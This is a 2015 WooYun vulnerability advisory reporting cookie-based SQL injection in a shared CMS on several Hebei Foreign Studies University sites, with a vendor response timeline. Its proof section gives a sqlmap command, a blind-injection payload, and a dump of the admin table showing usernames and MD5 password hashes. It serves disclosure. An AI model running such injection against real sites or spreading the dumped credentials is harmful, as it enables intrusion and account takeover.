当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157378

漏洞标题:河北外国语学院多个旁站通用CMS存在Cookie注入

相关厂商:河北外国语学院

漏洞作者: 路人甲

提交时间:2015-12-02 22:56

修复时间:2016-01-17 08:36

公开时间:2016-01-17 08:36

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-02: 细节已通知厂商并且等待厂商处理中
2015-12-03: 厂商已经确认,细节仅向厂商公开
2015-12-13: 细节向核心白帽子及相关领域专家公开
2015-12-23: 细节向普通白帽子公开
2016-01-02: 细节向实习白帽子公开
2016-01-17: 细节向公众公开

简要描述:

纯属安全意识不足。。

详细说明:

http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
用的通用的CMS,可cookie注入
http://**.**.**.**/2015lq/index.asp
2015年河北外国语学院录取查询,存在POST注入

漏洞证明:

以http://**.**.**.**/为例

sqlmap.py -u "http://**.**.**.**/onews.asp" --dump -C "ad
min,password" -T "admin" --cookie "id=5315" --level 2
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201511280897}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:08:21
[17:08:23] [INFO] resuming back-end DBMS 'microsoft access'
[17:08:23] [INFO] testing connection to the target URL
[17:08:24] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=5315 AND 4887=4887
---
[17:08:25] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[17:08:25] [ERROR] cannot retrieve column names, back-end DBMS is Access
[17:08:25] [INFO] fetching entries of column(s) 'admin, id, password, title' for
table 'admin' in database 'Microsoft_Access_masterdb'
[17:08:25] [INFO] fetching number of column(s) 'admin, id, password, title' entr
ies for table 'admin' in database 'Microsoft_Access_masterdb'
[17:08:25] [INFO] resumed: 4
[17:08:25] [INFO] fetching number of distinct values for column 'id'
[17:08:25] [INFO] resumed: 4
[17:08:25] [INFO] using column 'id' as a pivot for retrieving row data
[17:08:25] [INFO] resumed: 1
[17:08:25] [INFO] resumed: l\xd5
[17:08:25] [INFO] resumed: _\xb7l\xd5
[17:08:25] [INFO] resumed: 38cc624a3148e63c5e70444d5d4b56a9
[17:08:25] [INFO] resumed: 4
[17:08:25] [INFO] resumed: fayu
[17:08:25] [INFO] resumed: _\xb7l\xd5
[17:08:25] [INFO] resumed: ab2f33977714dce2cc79c393ac9205e9
[17:08:25] [INFO] resumed: 5
[17:08:25] [INFO] resumed: admin
[17:08:25] [INFO] resumed: _\xb7l\xd5
[17:08:25] [INFO] resumed: 2f355b2387b892e03856a9289d8c4ff6
[17:08:25] [INFO] resumed: 7
[17:08:25] [INFO] resumed: qiang40222
[17:08:25] [INFO] resumed: _\xb7l\xd5
[17:08:25] [INFO] resumed: dd79bfcc417666dbb2eb97164f7c3d18
[17:08:25] [INFO] analyzing table dump for possible password hashes
[17:08:25] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: Microsoft_Access_masterdb
Table: admin
[4 entries]
+----+------------+------------+----------------------------------+
| id | admin | title | password |
+----+------------+------------+----------------------------------+
| 1 | l\xd5 | _\xb7l\xd5 | 38cc624a3148e63c5e70444d5d4b56a9 |
| 4 | fayu | _\xb7l\xd5 | ab2f33977714dce2cc79c393ac9205e9 |
| 5 | admin | _\xb7l\xd5 | 2f355b2387b892e03856a9289d8c4ff6 |
| 7 | qiang40222 | _\xb7l\xd5 | dd79bfcc417666dbb2eb97164f7c3d18 |
+----+------------+------------+----------------------------------+
[17:09:27] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file 'C:
\Documents and Settings\Fant0m\.sqlmap\output\**.**.**.**\dump\Microsoft_Acc
ess_masterdb\admin.csv'
[17:09:27] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Fant0m\.sqlmap\output\**.**.**.**'
[*] shutting down at 17:09:27


http://**.**.**.**/2015lq/index.asp POST注入

post.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-12-03 08:35

厂商回复:

通知处理中

最新状态:

暂无